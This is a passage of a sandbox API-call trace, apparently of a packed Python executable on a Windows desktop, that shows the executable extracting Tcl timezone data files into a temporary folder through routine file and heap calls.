(in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.857] GetFileType (hFile=0x10c) returned 0x1 [0040.857] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.857] CloseHandle (hObject=0x10c) returned 1 [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe") returned 71 [0040.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\faroe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.857] GetLastError () returned 0x2 [0040.857] SetLastError (dwErrCode=0x2) [0040.858] GetLastError () returned 0x2 [0040.858] SetLastError (dwErrCode=0x2) [0040.858] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe", lpFilePart=0x0) returned 0x46 [0040.858] GetLastError () returned 0x2 [0040.858] SetLastError (dwErrCode=0x2) [0040.858] GetLastError () returned 0x2 [0040.858] SetLastError (dwErrCode=0x2) [0040.858] GetLastError () returned 0x2 [0040.858] SetLastError (dwErrCode=0x2) [0040.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe") returned 71 [0040.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Faroe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\faroe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.861] GetFileType (hFile=0x10c) returned 0x1 [0040.861] htonl (hostlong=0x97190000) returned 0x1997 [0040.861] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.862] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x997, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x997, lpOverlapped=0x0) returned 1 [0040.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.862] CloseHandle (hObject=0x10c) returned 1 [0040.862] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.862] htonl (hostlong=0x30000000) returned 0x30 [0040.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.863] GetFileType (hFile=0x10c) returned 0x1 [0040.863] htonl (hostlong=0x814e5b00) returned 0x5b4e81 [0040.863] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ffe81, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.863] htonl (hostlong=0x8e000000) returned 0x8e [0040.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0040.863] htonl (hostlong=0x8e000000) returned 0x8e [0040.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.863] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.863] htonl (hostlong=0xaf000000) returned 0xaf [0040.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0040.863] htonl (hostlong=0x8e000000) returned 0x8e [0040.863] htonl (hostlong=0xaf000000) returned 0xaf [0040.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.863] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.863] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.863] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.863] CloseHandle (hObject=0x10c) returned 1 [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.863] GetFileType (hFile=0x10c) returned 0x1 [0040.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.864] CloseHandle (hObject=0x10c) returned 1 [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.864] GetFileType (hFile=0x10c) returned 0x1 [0040.864] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.864] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.864] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.864] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.864] CloseHandle (hObject=0x10c) returned 1 [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.865] GetFileType (hFile=0x10c) returned 0x1 [0040.865] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.865] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.865] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.865] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.865] CloseHandle (hObject=0x10c) returned 1 [0040.865] GetLastError () returned 0x0 [0040.865] SetLastError (dwErrCode=0x0) [0040.865] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen") returned 75 [0040.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\jan_mayen"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.865] GetLastError () returned 0x2 [0040.865] SetLastError (dwErrCode=0x2) [0040.865] GetLastError () returned 0x2 [0040.865] SetLastError (dwErrCode=0x2) [0040.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen", lpFilePart=0x0) returned 0x4a [0040.865] GetLastError () returned 0x2 [0040.865] SetLastError (dwErrCode=0x2) [0040.865] GetLastError () returned 0x2 [0040.866] SetLastError (dwErrCode=0x2) [0040.866] GetLastError () returned 0x2 [0040.866] SetLastError (dwErrCode=0x2) [0040.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen") returned 75 [0040.866] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Jan_Mayen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\jan_mayen"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.866] GetFileType (hFile=0x10c) returned 0x1 [0040.866] htonl (hostlong=0xaf000000) returned 0xaf [0040.866] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.866] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0040.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.867] CloseHandle (hObject=0x10c) returned 1 [0040.867] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.867] htonl (hostlong=0x30000000) returned 0x30 [0040.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.867] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.867] GetFileType (hFile=0x10c) returned 0x1 [0040.867] htonl (hostlong=0xf4f5b00) returned 0x5b4f0f [0040.867] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fff0f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.867] htonl (hostlong=0x14080000) returned 0x814 [0040.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x814) returned 0x55e278 [0040.867] htonl (hostlong=0x14080000) returned 0x814 [0040.867] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.868] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.868] htonl (hostlong=0x60250000) returned 0x2560 [0040.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2560) returned 0x561090 [0040.868] htonl (hostlong=0x14080000) returned 0x814 [0040.868] htonl (hostlong=0x60250000) returned 0x2560 [0040.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5635f8 [0040.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635f8 | out: hHeap=0x530000) returned 1 [0040.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.868] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.868] CloseHandle (hObject=0x10c) returned 1 [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] GetLastError () returned 0x0 [0040.868] SetLastError (dwErrCode=0x0) [0040.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.868] GetFileType (hFile=0x10c) returned 0x1 [0040.868] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.868] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.868] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.868] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.869] CloseHandle (hObject=0x10c) returned 1 [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.869] GetFileType (hFile=0x10c) returned 0x1 [0040.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.869] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.869] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.869] CloseHandle (hObject=0x10c) returned 1 [0040.869] GetLastError () returned 0x0 [0040.869] SetLastError (dwErrCode=0x0) [0040.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.869] GetFileType (hFile=0x10c) returned 0x1 [0040.869] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.869] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.870] 